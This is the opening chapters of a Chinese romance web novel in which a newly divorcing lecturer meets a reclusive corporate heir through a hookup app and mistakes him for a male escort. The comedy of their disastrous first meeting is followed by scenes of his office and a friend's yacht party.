《不爱,何撩?》
1. 约见炮友
手机在床上“突突”震动,文令仪像是被人从深海里猛地拽出水面,一下子跌回现实。她坐起来,揉了揉发胀的太阳穴,昨夜那些光怪陆离的梦早已碎得拼不回来,连一点轮廓都记不清。
周一课多,她不敢耽搁,草草醒了神就去刷牙。
刷到一半,门铃不合时宜地响了。
大清早的,谁啊…
或许是按错了。她没动,可门铃执拗地响个不停,一声比一声急。
“唔,来...噜。”她含糊地应着,趿拉着拖鞋走到门口,透过猫眼朝外望——是个穿着制服的快递小哥。
拉开门,对方显然等得不耐烦了,起床气混着催促未果的恼火,黑着脸将一个文件袋塞进她手里,转身就走。
自知慢开了门,文令仪抱歉笑笑,牙刷还叼在嘴里,含糊地道了声谢,接过那个薄薄的文件袋反手关上门。
什么东西?她心里嘀咕。
她今年发的论文早就拿到刊物了,这会送来的是什么?
信用卡?
谁办那败家玩意儿...
某商家打的广告?
谁记得她这个穷diao丝...
总不会是谁玩暗恋寄来的情书吧?
额...好不好笑?一把年纪了,是嫌以前脑袋里进的水不够多,还是踩的坑不够深,期待什么浪漫呢!
可未知的东西总能引起人强烈的好奇心,就像有片羽毛在心上挠得发痒,她迫不及待想知道快递里装的到底是什么。
满脑袋问号正想拆开,一条牙膏沫子扭股着身子急不可耐从嘴角流出来,她只好放下文件袋,又跑回去漱口。
等她擦干净脸回来,好奇心更盛,利落地拆开了密封条。
看到里面的东西,她瞳孔皱缩,浑身血夜都像凝固了。
文件袋里是一张苍白的纸,抬头赫然写着“离婚协议书”几个粗黑大字。
她捏着纸的手微微颤抖。
这一天终于来了,他提离婚了。
强迫自己往下看,接下来的条款,一字一句都像淬了毒的针,狠狠扎进心里,胸腔里的火气“噌”地窜起,烧得她指尖发凉。
离婚协议上的财产分割其中一条里写着:婚后名下的所有财产,归男方所有。
婚后的财产包括了这套房,房里的所有家具、电器,还有两人的共同存款。若真按他说的,离婚了,她将一无所有!
结婚这两年,她每月雷打不动承担近一半的房贷,家电她也有掏钱添置,所剩不多的工资也存入了这个小家庭的基金。
她自问对这个家付出很多,他凭什么让她净身出户?
心情很烦,脑袋里思绪纷乱,但马上要出门上班,她只能强忍着把协议撕碎的冲动,扔在桌上,转身去换衣服。
平常选衣服就像在后宫选喜爱的面首,可现在她感觉像夜御三男精疲力竭,还要面对一群无理取闹的男宠的那种恼火无奈感。
大呼几口浊气,她平静下来,选了件得体的套裙又化了个淡妆,然后出了门。
经过多年在人生这个草台班子里的揉扁搓圆,文令仪早就练成了就算天塌下来也当无事发生的神定力。一整天课程,她讲得行云流水,面不改色。
直到下课铃响,她才像被抽掉力气,立刻躲进一间无人的教室,拨通了“嫡长闺”闫静的电话。
那头很快接通了:“宝贝儿,想我了?”
“你现在有空接电话么?”
或许是察觉了她语气里的凝肃,闫静的声音也变得正经了些:“有呀,什么事,你说。”
“他提离婚了。”
对面沉默了几瞬,然后道:“说这话可能不好听,但我觉得你们早该离了。“
也是,文令仪苦笑了下。前夫贺天翔和她结婚后待在家里的日子屈指可数,她就像守活寡一样,是她不愿面对现实,下不了决心离婚。
“我们是该离了,但你没看见他在离婚协议上写了什么?我简直要气炸了!他要婚后的所有财产,是所有!他怎么敢?怎么配?我从没见过如此厚颜无耻的人,脸皮厚得可以打地基!”
“…”
“等等!我算算,婚后财产是指夫妻关系存续期间,夫妻任何一方所得的各种财产,包括房、车、...”
“停!你不用再算了,就是这样。我咽不下这口气!你说他这个结婚后连根头毛都没看见的人,还好意思先提离婚?提了离婚还要夺走所有的财产?婚后不管房也好,家电也好,我都是付了钱的,谁给了他这么大的脸?众筹吗?”
听出闺蜜濒临爆炸,闫静叹了口气:“真他妈绝世渣男。你也真是情路多舛,第一段被劈腿,第二段嫖/娼,第三段xing无能,第四段刚结婚就玩失踪,文令仪女士,以你的学历、颜值、情商,为何总能在渣男堆里精准定位?”
满腔怒火被这话戳了个小孔,文令仪瘪瘪嘴:“早年间算八字,说我诸般皆好,桃花奇差。看来是真准…”
“从统计学概率分析,符合理想择偶标准的男性样本在总体中占比确实有限,个体遭遇低质量关系的概率并不低。”
“...”
闫静是做IT的,思维偏理性,偶尔会冒出像人机的语句,文令仪也习惯了。
两人默了会,一个不知要怎么安慰才好,另一个沉浸在孤芳自怜的哀愁里,半晌后闫静道:“我记得你说过,房贷是从他的账户扣的?”
“嗯。”
“早点找律师,如果转账记录不清晰,缺乏共同还贷的有效证据,房产分割你会非常被动。”
“对奥,我怎么把这茬给忘了!”
挂了电话,文令仪的心情愈发沉重,简直像坠进了马里亚纳海沟。经闺蜜一提,她才惊觉问题严重。每月房贷她都是微信转给贺天翔,再由他还款,两人之间连张像样的借条或备注都没有。
她越想越无力,额头抵着冰凉的墙壁,重重磕了几下。
偏巧这时她的两个学生进教室自习,刚好看到自家老师的古怪行为。两人面面相觑,眼里透着迷惑。
文老师平日里端庄矜持,这是躲着干什么呢?
犹豫几秒,其中一个学生小心问道:“文老师,您…没事吧?”
文令仪这才发现有人进来了,还是认识她的学生!她的脑门上顿时挂上三条黑线,羞得恨不能马上钻到地里去。
半晌,她幽幽道:“那什么…脑门痒,我在蹭痒。”
“…”
回家的路上,文令仪破天荒买了两瓶啤酒。她讨厌苦味,酒量也一般,但此刻急需酒精麻痹神经。
到家后,她疲惫地甩掉高跟鞋,将包扔在桌上,整个人窝进了沙发里。虽然躺着,可她的情绪怎么也平静不下来,心烦气躁,满脑子都是那份绝情的离婚协议。
饭点到后,她完全没胃口,在app上随意点了碗粥。
点好后刚想放下手机,屏幕亮起,一条短信闯入眼帘。发件人:贺天翔。
她心脏猛地一抽。
短信内容冰冰冷冷:“协议收到了吧?尽快签。”
文令仪盯着屏幕冷笑一声,他这是连商量的余地都不给啊。
如果时光可以倒流,她一定毫不犹豫回去拽住当年的自己,怎么就看上了一个没钱、油腻还没品的大叔?
她当时一定是猪油蒙了心!
扔开手机,她没回复,直接撬开瓶盖,猛灌了几口。冰凉的液体带着苦涩滑入喉咙,却浇不灭心头的火。
回想起来,婚前贺天翔对她百般殷勤,短信电话不断,有一次她不小心在手上割破了一道小口子,他像是自己掉了块肉,五官都皱到一起,看上去心疼得不行。
可结婚不久,他就像变了个人。刚开始还天天回家,不多久就变成了隔三差五回来一次,最后几个月不见人影。
理由永远是应酬、出差、忙事业,如果她表示不满,还会反过来指责她不体贴、不懂事、不支持他。
离婚的念头不是没有过。可她今年34了,人言可畏,“大龄”、“离异”的标签像两座大山,压得她喘不过气。
最让她痛心的是那套房!那是她半生心血,眼看就要付诸东流...
年近中年,明明自己有学历,能力也不错,怎么就混到了这个地步?
想到伤心处,她又灌了几大口酒,呛得一阵猛咳,眼泪终于不争气地涌出,大颗大颗顺着白皙的脸庞滚落到腿上。温热感很快褪去,秋夜的风从窗子缝隙吹进来,皮肤感到冰冷的凉意。
哭累了,她瘫在沙发上发呆,机械地刷起手机。大数据精准捕捉到她的情
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绪,立刻推送了一个刺眼的帖子标题:
“谁会娶一个35岁的老女人啊?”
换做平常她看到这类帖子只会嗤之以鼻,可如今事情落到她头上,介意别人怎么说的担忧像蠕虫在心里乱爬,她没忍住点了进去。
评论区各抒己见,唾沫横飞:
“35岁都要绝经了吧...”
“半截身子都入土了。”
“年龄大了就单着,别祸害人。”
往下滑看,评论区虽也有零星的鼓励,但那些针对年龄的嘲讽像刀子一样,字字诛心。
30+的女人怎么你了?吃你家大米了?文令仪愤愤退出了软件将手机扔在一边。
眼不看,心还是烦。
本就失恋遭受打击,网上的恶语更加让她难受。
又灌了一口酒,文令仪汪着眼泪喃喃:“男人就没有一个好东西。”
她如同坠入了深不见底的黑洞,沉闷,缺氧,沮丧到了极致。仿佛世界都将她抛弃了。
若再不得到一点阳光,汲取一点氧气,她可能会窒息。
有什么办法能让心情变好一点?
不知怎么,她脑袋里想起很久之前听发小们聊天说的一件事。一位发小的朋友从不钟情于哪个人,脚踏几条船,换男朋友就像换衣服。
当时这件事震碎了她们的三观,都觉得不可思议。但经历了一连串的感情失败后,文令仪总结的经验是——还真没必要对男人多认真。
看看那个女孩,过得潇洒肆意,就像女王,永远将自己的感受放在第一位。
酒精开始发挥作用,她浑身发热,胆也跟着壮了起来。脑海里冒出一个想法。
过了几十年规矩的日子,似乎也没什么意思。
她拿起手机下载了一个名声暧昧的社交APP——FindSoulmate。
这是一款交友软件,在年轻人的社交圈里很出名,但名声并不好,按现在时髦的话说是黑红。交友的软件上自然什么人都有,两性之间的欲望想要得到满足,可以在上面精准找人。
久而久之这款软件从最开始的单纯交友演变成了宣泄欲望的地方,私下里都管它叫约pao神器。
文令仪点了注册,随便填了些资料,系统开始给她配对。
很快,屏幕上咕嘟咕嘟冒出大量的粉红泡泡后系统推荐了一个人,显示他们两人的配对指数高达99.99%。
这么高的么?她惊呆了。
对方的id叫做...仔细一瞧,此人没有网名,只有一串数字和英文字母混杂的账号,头像也是系统自带的。
她点进主页,看到里面更是荒芜得像戈壁沙滩。
这是个空号吧?对方什么都没填配对值还这么高,恐怕软件搞这个就是瞎扯淡的。
抱着好奇的心态她想发条信息试试看。
可是说什么好呢?
她有过恋爱经历,可从没主动搭讪过,实际上和陌生人说话都会脸红。更别提现在是要找炮友了。
想了一会,她烧热着脸在屏幕上敲下一行字:“嗨,帅哥好,有兴趣见面么?”
额…会不会太直接了?显得她好急不可耐…
发完,她的心砰砰直跳。要不要撤回来?
算了。又不是玩不起,怕什么?她也不知自己此时哪来的勇气,或许是破罐子破摔形成的孤勇。可不愿深想。
等了一会,屏幕上只有她那句孤零零的话。
看来没戏,就是个空号。她不想再管。喝了半瓶酒,头晕晕的,随意吃了几口粥就倒在沙发上昏沉睡了过去。
不知过了多久,手机一声轻微的震动将她惊醒。朦胧睁眼,文令仪点开屏幕,看到FindSoulmate的图标上显示着一条新消息。
“好。”
她瞬间睡意全无,猛地从沙发上坐了起来。
对方居然回了!现在要怎么办?真的要去吗?
各种深夜约见的暧昧画面不受控地涌入脑海,她的脸颊开始发烫。
纠结片刻,她把心一横:“在哪见?”
发完这句,她的心跳又开始加速,眼睛一挪不挪看着屏幕。
这一次,对方回复得很快,一条定位链接弹了出来——
宏天瑞景酒店。
2. 做鸭的
好家伙!直接发来了酒店位置。
还是宏天瑞景,海城最高端的酒店,一晚上能抵她半月工资。
对方出手这么阔绰,难不成是个富二代来网上找新刺激,刷新经验值?
算了,管他呢。
她起身去水池边洗了把脸,然后走到衣柜前选了件青墨色一字肩针织连衣裙。她的人生信条之一:输人不输阵。决定去了,就算是露水情缘,也得从头发丝精致到脚趾尖。
这条裙子很适合约会,能完美勾勒出她的腰线,领口的弧度恰好露出她白瓷般的脖颈与锁骨。裙子下摆缀有蕾丝,步伐间若隐若现。
美中不足的是,现在已入深秋,夜里会冷,但素为了美,她忍了!
化好妆后她往身上喷了点香水,遮盖隐隐透出的酒气。
准备就绪,她像是要奔赴战场,在镜子前又仔细检查一番才算满意。
走到门口,她一拍脑门想到件事,又折回房里,从抽屉里找出瓶防狼喷雾塞进包。
若是突发意外,她会立马朝对方一顿狂喷。
宏天瑞景位于海城最贵的地段,与宏天建造的大型购物mall和商务楼连成一片,足足占了半条街,是城中心最显眼的标志性建筑。很快她就看到了酒店,船帆型的轮廓在夜色中流光溢彩。
晚上10点,街道上行人稀少,她的高跟鞋踩在地上的声音格外清脆。
走至酒店下方宽阔的镜面水池,夜色被地灯点亮,水面倒映着摩天楼的光影。
她看到一棵高大樟树的翠盖下,靠着个年轻男人。
他姿态疏懒地倚着树干,仿佛与夜色融为一体。一身剪裁极佳的白衬衫与西装裤,袖子随意地推至小臂,露出线条流畅的手腕,领口解开了两颗纽扣随意敞开。
听见她的脚步声,男人抬起头。那双目光沉静如水,如同被惊扰的深潭,倏然汇焦到文令仪身上。
看到他的面孔,她不由得呼吸一窒:好漂亮的人!
不确定他是不是网上那个人,文令仪也没有贸然上前,局促等在原地。
男子双手插兜,缓步走来。走近了,文令仪更加清楚地看到了他的面庞,如雕如琢,一双桃花眼尤其深邃勾人。
他的声音低沉而富有磁性,在夜色中格外清晰:“是你?”
“嗯。”文令仪轻轻颔首。
打过招呼后,男人挪开眼站着不说话,文令仪也不知要说什么,两人间有点冷场,尴尬的气氛在流动。
她拘谨不安,心里的小鼓使劲在敲:这也太尴尬了吧?说点什么好?死脑,快想!
结果脑子一抽,一句话脱口而出:“怎么想到约在这里呢?”
文令仪要被自己无语到了。这是什么尬出天际的话题?对方为什么约这里不是明摆着吗?对面就是酒店,他想要开/房啊!
难不成还是约你出来上演三生三世十里桃花纯爱无敌戏码的?
男子朝对面看了眼,随之清冷的目光又移到了她身上:“在这工作。”
文令仪朝他望的地方瞥了眼,宏天瑞景酒店在夜色中幽幽散发雅致的光。
生得如此标致,又在酒店上班,额…该不会他是...她瞬间脑补出灯红酒绿、富婆一掷千金的画面。
“那...她们不好伺候吧?”她试探着问。
曾行不喜应酬,可为了完成公司的并购案,他不得不参加了个局,见的人都是生意场的老手,精明计较,的确不好对付。
“嗯。”
他的回答应证了文令仪的猜想。
这个网上就没几个正经人!
看他的穿着打扮,弄不好刚结束一场作陪。白衬衫,西装裤,开到胸腔露出腹肌的领子...
啧啧,不敢想象那些富婆们会有多快乐!
“去走走?”
嗯。嗯?
低沉的男声瞬间将文令仪飘到九霄云外的神思拉了回来。
去哪?
他不在这开/房啊?难道是嫌房贵?
极有可能。文令仪悄悄撇嘴,到底是鸭,钱算得门儿精。她起先就疑惑他怎么可能舍得出一晚两千的房费,原来只是在这里上班。
他想去哪?转战某条巷子里的小宾馆么?
想到自己即将在一间墙壁有霉斑,床单被套上有可疑污渍的床上翻滚,她就觉得失落和恼火。
而且,听说男人那事做多了,极损耗精气神。文令仪不自觉地慢下步子,在他身后从上到下把他溜了个遍——看脸还行,可这副身板瘦削,估计床上...撑死二十分钟!
哎...出师不利。第一次做这种事就遇到个鸭。
要不…找个借口回家?
可她钓到的也是宏天夜总会的男模呢!平常富婆得花大价钱才能约到,她这算是捡便宜了。从这个角度说,她好像也不亏。
正在她心里天人交战时,男人说了句:“上车。”
一路上文令仪想东想西,才注意到他们来到了一辆车前面。好巧不巧她站的位置能看到车标,顿时愣住了。
宾...利!
擦擦擦!现在做这行都开宾利了?是哪位富婆姐姐送的?
她内心震惊,但面上不显。见对方没有为她开门的意思,自己绕到副驾驶座上了车。
上车后,文令仪能闻到男子身上散发的香烟味,还好没有酒味。车里密闭,她向来不喜欢闻烟味,觉得有点头晕。
正犹豫要不要请对方打开窗,却看到玻璃缓缓降下。
夜风拂面,文令仪顿时觉得舒缓很多。
“去哪?”男子问道,声音透着疏懒。
“你想去哪?”
“随便。”
虽然文令仪之前没做过这种事,可她也不是第一次和男人接触了,明白他们大都没有耐心。说随便其实就是懒得和她兜圈子费时间了,想直奔主题。
可话头绕回她这,去宾馆的事总不能她先提吧?
“我都行。”体制内待得久了,她早已学会了打太极,把话又抛了回去。
等了许久也不见他回复,文令仪偷瞄,见他全神贯注开车,侧脸线条冷硬而优雅。
看来是被她戳穿,没话说,在思考去哪个宾馆了。文令仪回过头看着前方的马路心里泛起嘀咕,也不知待会他要带自己去哪条巷子里的小旅馆,不会事后敲竹杠吧?
车子开了会后,一条宽阔平整的绿化道映入眼帘,不远处海天一色,咸湿的海风混杂着凉意徐徐吹来,金黄的沙滩上散坐着几对情侣。这里是海城的沙湾公园,她平常散心时经常和闫静来这休闲放松。
他来这里做什么?在她的印象里,这附近好像没有宾馆。
下车后,她看到男人利落地锁好车,朝她扬扬下巴,示意去沙滩。
文令仪完全不懂他要做什么,还一副挺拽的样子。难道现在的“服务”都这么讲究情调了?
行,还是你们会玩。
沙滩上专门建了浑朴古雅的木制步道,路灯阑珊,明月高悬,交织成一副别有韵味的浪漫夜景。
若换做是和男友在这里散步,文令仪或许会觉得十分怡情,可现在身边的人是鸭...
她觉得对方也同样没兴趣和她在海边漫步。他面色冷峻,双手随意插在兜里,也不和她说话
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,甚至都不看她。走了不多久他就停下来,从裤子口袋摸出一根烟来抽。
浅白的烟雾很快袅袅浮升,文令仪仿佛是隔着一层雾在看这个人。
他修长的手指熟练地夹着烟,懒懒靠着栏杆吞云吐雾,周身仿佛树立起一道无形的墙,将他与别人分离。
她也不是什么社牛的人,绞尽脑汁找了几个话题说,却只得到他简短的回应,她也懒得再找话。
瞄了眼手机屏幕,已经11点了,他到底什么时候提出去开房啊?!!一只土拨鼠在她脑里尖叫。
文令仪终于忍不住,指着前方的便利店说:“那个...前面有家便利店,去那吧?”
男子觑了觑她指的方向,点头答应。
到了店子前,文令仪却见他纹丝不动,只得硬着头皮暗示:“就是这个,方形的,彩色的,你懂的吧?”她用手比划着。
他的眼中划过一丝疑惑,半晌后进了店里。
文令仪松口气。他终于懂了,呼...还算识相,肯去买小雨伞。她真的觉得自己费了老劲了,脸上烧热,背都出了一层汗。
夜里风凉,她觉得很冷,抱着手臂忐忑站在外面等待。几分钟后男人出来了,递给她手里的东西。
“谢...”这是什么?她看到盒子后惊呆了,方形的,粉嫩的——一盒糖!!!
她简直要气笑了。不是,他到底行不行,有没有职业道德感啊?她已经暗示得那么明显了,是听不懂,还是想图舒服装不懂?
男子打量着她的神情:“不喜欢这个口味?”
“没...没有。挺好。”好你个大头鬼啊!!!文令仪已经在心里问候起他的祖宗十八代了。
她看着手里的粉红糖果盒,眼角微微抽搐。
深吸一口气,告诉自己要冷静,这年头服务业内卷严重,也许这是对方提供的“情绪价值”一部分,先逗你玩玩,再进入正题。
她抬起头,努力挤出一个甜度超标的笑容,露出两颗小虎牙:“草莓味,我最爱了。”
他挑眉,似乎对她的反应有些意外。
可能是酒劲在作祟,文令仪毛起胆子上前一步,指尖若有似无地划过他微敞的衬衫领口,声音放得又轻又软:“不过…这种糖会不会太甜了呀?还有一种,和这个盒子很像的。吃起来更可口?”
她眨着眼,这回她暗示得够明显了吧?
垂眸看着她故意凑近的脸,男子眼底闪过一丝玩味。他非但没退,反而微微俯身,拉近了两人原本就危险的距离。
他的气息拂过她的耳畔,声音低沉带笑:“哦?比如?”
文令仪心脏猛地一跳,脸上强装的笑容差点裂开。她硬着头皮,在他耳边飞快地说:“就…那个…方方的,带锯齿边的……”
“嗯?”他像是没听清,又凑近了些,温热的呼吸几乎烫到她的颈侧,“说清楚点,哪个?”
文令仪的脸轰一下全红了。这人是真不懂还是在故意耍她?!
她又气又恼,脸红得堪比西红柿,双手不停比划:“就那个…那个啊!”
声音大了些没控制住,引得旁边路过的一对小情侣投来诧异的目光。
文令仪恨不得原地挖个洞钻进去。
她晚上吃得不多,喝了酒刺激到了胃犯头晕,加上在车上闻了不适的烟味,此时又激动,胃里开始翻腾。
不好!这种感觉是…
胃里的东西直冲喉间,下一秒,她猝不及防“哇”地一口吐了出来,喷了男人满前襟。
看着他身上那一片和窜了稀差不多的颜色,文令仪的脑子里只剩下了两个字:完蛋!
3. 不约
曾经有一份珍贵的机会摆在我面前,我没有珍惜,等到失去的时候才追悔莫及,人世间最痛苦的事情莫过于此。如果上天能够给我一个重新来过的机会,我会对过去的自己说三个字:不!要!来!
文令仪这下彻底清醒,紧紧盯着男人白色衬衫上触目惊心的污渍,又朝他的面上飞快溜了一眼。
果不其然,男人的脸已经黑到了极致,原本古井无波的眸子里此时覆满了燥意,额角有青筋突起,似在极力忍耐。
平日还算口齿伶俐的她此时失语了,半晌才道:“对不起,对不起。”
男子不答话,低头看着那片屎黄色,双手无措地举在半空,不知要如何是好。
从包里掏出纸,文令仪赶紧过去帮他擦拭:“对不起,是我的错,你马上换下来,我帮你洗。”
“不必。”对方并不领情,冷漠拒绝。
这在文令仪的意料之中,遇上这种事,谁都会心情不好。她没放弃,继续边擦边请求:“别,我帮你洗吧。”
此时此刻,曾行也很后悔为什么要脑袋抽筋出来见网友,他一秒都不想多待了,拂开女人的手想离开这里。
可刚迈出步子,他的袖子就被人拉住了,回头看到这个小女人不知哪来的牛劲,死死拽住了他,一双圆圆的杏眼里盈满了愧疚。
文令仪感觉自己已经花完了此生所有的演技,拼命做出比惭愧更惭愧的样子,甚至想挤出几滴眼泪。
但可惜,她演技不够。
“别走啊,脱下衣服给我。”
“放开,我说了不用。”
“不放!”
“啧,你要怎样才肯罢手?”曾行已经极度不耐,眼里跳跃着火光。
“今天,你的衣服我要定了!”要是没帮他清理干净,文令仪可能会觉得自己这辈子要钉在耻辱柱上了。
曾行烦躁地睨她一眼,这女人还挺犟!
罢了,不就是件衣服吗?他现在只想快点回去。
“你在这等着。”
“嗯嗯嗯。”
他的车上有件备用T恤,快步回到车上换了衣服,很快返回,把换下的衣服扔给她。
正要转身走,又听到喊声:“等等。”
他没有说话,但烦躁的表情明晃晃写着:你还要做什么?
“我...洗好衣服后会送去你觉得方便的地方,到时请一定要告诉我地址好吗?”
“随你。”
文令仪看他匆匆上了车,一副气急败坏的样子。又瞧了眼手里揉得皱巴巴的脏衣服,上面的酸臭气直冲鼻尖。
她皱起眉头叹声气。今年一定是犯水逆了才这么倒霉,先回去再说吧。
夜风迅速裹住了她,冷得她打了几个哆嗦。
冷点好,看是不是能把她脑子里进的水都吹出去!
回到车上,曾行稍稍冷静后启动了车子,抬眼看到刚才那个女网友正骑着单车从他身边经过。
她穿着裙子和高跟鞋,可能是行动不便,车子骑得歪歪斜斜。看上去滑稽又蠢笨。
他冷嗤一声,这就是系统给他配对99.99%合适的女人?这破软件他再也不会用了。
白日的海城市中心车水马龙,繁华喧嚣。宏天的CBD大楼耸立,犹如大山一般雄踞街头。
曾行不喜在公共场合抛头露面,即便接管集团已经三年,员工也很少人认识他。从大堂到入电梯,人群穿梭,从他身边擦肩而过,只以为这是公司哪个部门的年轻小伙。
他的秘书袁朗和多名高管已经在会议室等他。甫一进入,此起彼伏的讲话声骤停。
曾行坐在了圆桌的顶前方,几名女员工偷偷瞄他,心如小鹿乱跳:啊啊!银丝边眼镜,低调泛着奢华光感的格纹大衣,宽肩窄腰大长腿,能比昨天更帅的只有今天的总裁!
“会议开始。”曾行正了神色。
大家知他虽平日看上去总是一副淡淡的、无所谓的样子,但对工作十分严格。批评起人来话不多,却狠,会议正式开始后,陷入一种人人自危的紧张氛围。
第一个汇报的是整个集团的核心部门——市场部。首席市场官连嵩汇报上季度的商场营业额表现。在听了大段冗长又枯燥的数据后,曾行打断他:“上季度用户复购率提升40%,但是…”他在键盘上敲下三行代码,投影幕布瞬间切换至后台数据库的原始界面,无数条未经修饰的消费记录如瀑布般倾泻而下。
“你剔除掉了所有单笔消费低于100元的订单。理由是‘排除偶发性干扰数据’。”
连嵩的背脊微微绷直:“低客单价用户不符合品牌升级的战略定位,所以…”
“你觉得他们不算宏天的客户?”
“不是…”
“脑袋被驴踢了的人才会这么想。”
“…”
“数据分析表重做。”
“是…”
曾行对复杂的数据计算反应极快,而且十分心细,往往容易忽略的细节他都能马上发现。原本这些在公司油惯了的高层领导以为他年轻好拿捏,但接触一段时间后或多或少都在他手里认了栽。
连嵩灰头土脸下去后,下一名运营官紧张得大气都不敢出,拿着材料的手微微颤抖。
好不容易会议结束后,众人大松口气。曾行回到办公室交代了秘书袁几个问题。
秘书袁刚出去,门又打开了。
曾行问道:“怎么又回来了?”抬头却看到来人是容世奥。他穿了件粉色衬衫,额前两边留了垂到颧骨的刘海,混血的五官格外俊朗明艳,嬉皮笑脸走了进来。
这人怎么变得更骚包了…曾行抬眸看他一眼,很快又垂下眼皮。
“我刚在公司门口看到黄文继了,这个老狐狸还不罢休?你怎么和他说的?”
“我没理。”
“黄文继之所以这么猖狂,还不是仗着他身后有几个宏天的元老撑腰。你正面和他们刚,他们会罢休?”
“随他们吧。”
见曾行懒得搭理,容世奥已经习以为常,也无所谓,笑嘻嘻地将一边大腿股靠上来坐在了桌子上。
他看到旁边摆了一个精致的黑色丝绒盒子,一看就是女生会喜欢的礼盒,惊讶道:“这是什么?不是吧,曾行你个叛徒!说好的一起单身,你背着兄弟谈恋爱了?!”说着去拿盒子。
等曾行反应过来时,已经被他抢了盒子。他的耳边炸开一声尖叫。
“这不是SFB最近以200万成交的红宝石吗?原来是你拍到了!给谁的?”
曾行头都没抬,随口道:“霍燕郊。”
“看来你和霍家的小女儿的亲事是真的!啧啧啧,你真是艳福不浅。海城谁不知霍家财力雄厚,女儿还是个绝色美人!你小子要是娶了她回去,小心j尽人亡!”
“你忒么不会说话就闭嘴。”曾行目光寒凉看着他坐上来的半截身子,:“滚下去!”
容世奥被他的眼神吓到,赶忙跳下去用手拂了拂桌子:“怎么?兄弟我提醒下你还有错了?我这可是关心你的身体!”
“我拒了亲事。这是做的补偿。”
“你说什么?!”容世奥震惊得下巴都快掉下来:“不,不是,你还是不是个正常男人啊?霍燕郊长得漂亮,身材前凸后翘的,哪个男人看了不垂涎三尺?何况她家世背景也和你相当,你们宏天这么有钱,除了她家,我真想不出这天底下谁还能配得你了。”
曾行对这个话题不感兴趣,懒懒抱臂往后靠在椅背上,深邃的桃花眼微微眯起:“你看上她了?这么怜香惜玉。”
容世奥一噎:“得,她那种烈性子我可hold不住。她也就在你面前乖顺点。”
似是想起了什么,容世奥贼兮兮地打量他:“你小子…该不会真有对象了吧?我之前推荐你下载的那个交友APP,用了没?”
睡了一夜,曾行本来已经淡忘了昨日的尴尬,被这么一提,那段不堪回首的记忆又涌上心头。他不由得眉头紧锁,胃里一阵翻腾。
“你这什么表情?怎么跟吃了苍蝇似的?”容世奥敏锐地捕捉到他的异常:“有情况?”
容世奥之前看曾行过得实在是单调,每日不是泡在办公室,就是在家窝着。回国好几年了身边连只母苍蝇也没看到,于是随口推荐他去FindSoulmate上找找看有没合适的。
除了想帮兄弟拓展拓展圈子,也是有点整蛊他的意思,故意隐瞒了这是款约炮app。
他有担心过要是曾行发现这是款约炮软件,会不会拿刀要追杀他。但容世奥笃定,就曾行这种懒散又寡淡的性格,是不可能会用这款app的。
“你闲得发慌?要不要我喊保安请你出去?”
知道这是个锯嘴葫芦,再问也问不出什么,容世奥不甘心地撇撇嘴。
“别别别,说正事。明天我生日,地址我到时发你,必须来啊。”
“再看吧。”
容世奥一听就要炸毛:“曾行!你不会自闭到连我生日都不来吧?还是不是兄弟了?”
“谁跟你是兄弟?”曾行懒懒抬眼:“不是你自己倒贴上来的?”
“…”
话说得不近人情,但他到底念在和容世奥是初中就认识的朋友,晚上如约到了举办生日会的一艘游艇上。
推开那扇厚重的、包裹着黑色皮革的大门,声浪与光影如潮水般将人瞬间包裹。
视线所及,是迷离的光。巨大的水晶吊灯并未全然放亮,切割成无数碎钻般的光斑,慵懒地洒落。墙壁是暗金色的丝绸软包,壁灯被做成烛台的形状,摇曳着暖昧的橘色火苗。
见他来了,容世奥停下和别人交谈,过来朝他浮夸地鞠了一躬:“欢迎曾总大驾光临,我感觉自己脸大得可以停播音737。”
“怕你会高兴得晕过去,不送礼了。”
“曾总太客气了,我俩谁跟谁?来来来,都过来打个招呼,曾总来了。”
宏天集团名声在外,可唯一的继承人平日不喜社交,十分稀少出席活动,也不在媒体露面。在场的人听说是他来了,立即围拢过来许多人寒暄套近乎。
听到容世奥吆喝,曾行就暗道大事不妙,可惜想走已经来不及了。看到围着他的人越来越多,他只得笑着应对。
好不容易应付过去,他寻了个角落坐下来,整个人隐在暗色里。
他一手拿着酒杯,另一只手慵懒搭在沙发靠背,百无聊赖垂眸盯着杯里的红酒。
这时一双缀满细钻的银
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色高跟鞋出现在眼中。
“曾总,您喝的这款cocktail和我一样,真是巧。”
抬起头,曾行看到是一个美艳的女人,香槟色的抹胸裙子勾勒出曼妙的身段。
他扬起一边嘴角笑了笑,举杯在半空和她轻碰了下杯子。
女人甜甜一笑,过来坐在了他身边:“看来我和您喜好很像,真是缘分。不知您喜欢追剧吗?最近算是小有热度的一部片子《最是艳阳天》,我很有幸在里面演了女主。”
“不好意思,我不追剧。”
女人很快换了个话题:“也是,曾总事业辉煌,平日应该日理万机,没时间看剧。那您喜欢听歌吗?”
“还不错。”
终于找到了和他共同的话题,女人殷切地往他身边坐近,手很自然搭他腿上:“曾总喜欢听…”
话没说完她就被打断,一只玉手突然伸过来猛地将她拽起,霍燕郊杏眸圆睁朝她脸上打了一巴掌:“你这裱子手往哪放?信不信我找人剁了你的手!”
女星捂着发烫的脸正要大发雷霆,但看清来人是实力雄厚的霍家的小女儿,她惹不起,只好忍气吞声离开这里。
曾行了解霍燕郊的性子,她飞扬跋扈惯了,性子火爆骄恣,脾气上来了谁也管不了。他安静坐在沙发喝酒,淡淡朝这边乜了一眼。
赶走女星,霍燕郊挨着曾行坐了过来,双手搀进他的胳膊:“阿行哥哥,我收到你的礼物了,我很喜欢。这是不是代表你答应和我的婚事了?”
将胳膊抽出来,曾行拍了拍她的头:“哥哥现在太忙了,没空想结婚的事。”
霍燕郊愣了愣,嘟起小嘴:“不嘛,你,我是嫁定了。等我嫁过来,曾霍两家联手,整个海城还有哪家能匹敌?”
“嗯,的确没有。”
“这不就结了?”
“可我不需要用婚姻结盟。”
觑着他脸色不悦,霍燕郊不敢逼得太急,她手扶额头,娇软道:“先不说这个了。阿行哥哥,我好像醉了,头很晕,你能送我回房么?”
容世奥今夜请了众多好友欢玩通宵,早为他们备好了客房,其中当然也包括了霍燕郊的房间。曾行听到她的请求稍顿一下,答应了。
去房间的路上,霍燕郊一直将头靠他肩上,整个身体贴了上去。曾行从没觉得还有哪段路比这条路长,好不容易才将她送回房。
她走得脚步虚浮,他只得一路扶着进了房间,放她躺倒在床上。
待要起身,他的腰上缠上来一条腿用力压住他,往下一看,霍燕郊腿上的裙子顺腿下滑,两条白皙丰满的大腿一览无遗。
“哥哥,别走…留下陪我好么?”
曾行弯起唇角,眼中却不见笑意:“乖,哥哥还急着有事。”
“我知道你不喜欢我,可没关系啊,我们慢慢来。我很放得开的,就算一夜情我也能接受,也不会说出去,算我们之间的秘密,好么?”
